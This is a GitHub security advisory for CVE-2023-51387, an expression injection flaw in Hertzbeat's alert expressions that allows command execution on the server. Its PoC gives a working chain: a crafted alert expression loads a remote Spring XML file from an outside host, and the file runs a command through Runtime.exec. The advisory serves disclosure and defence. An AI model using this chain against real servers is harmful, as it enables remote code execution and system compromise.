Skip to content

Expression Injection Vulnerability in Hertzbeat

High
tomsun28 published GHSA-4576-m8px-w9qj Dec 19, 2023

Package

maven org.dromara.hertzbeat (Maven)

Affected versions

<= 1.3.1

Patched versions

None

Description

Summary

Hertzbeat uses aviatorscript to evaluate alert expressions. The alert expressions are supposed to be some simple expressions. However, due to improper sanitization for alert expressions, a malicious user can use a crafted alert expression to execute any command on hertzbeat server.

PoC

  1. Start a hertzbeat instance by docker
docker run -d -p 1157:1157 --name hertzbeat tancloud/hertzbeat
  1. Add an alert define, which has an expression like below
use org.springframework.context.support.ClassPathXmlApplicationContext;new ClassPathXmlApplicationContext("http://host.docker.internal:9999/touch.xml")
  1. Create a touch.xml on host machine like below:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                        http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('touch /tmp/pwnned')}"/>
    </bean>
</beans>
  1. Start a http server in the same directory to serve touch.xml :
python3 -m http.server 9999
  1. Save the alert define, and add a demo http api monitor to trigger the malicious alert expression. Wait for a while, you can see a /tmp/pwnned created in container, proving that the command is executed.

Impact

A malicious user who has access to alert define function can execute any command in hertzbeat instance.

Severity

High
7.2
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-51387

Weaknesses

Credits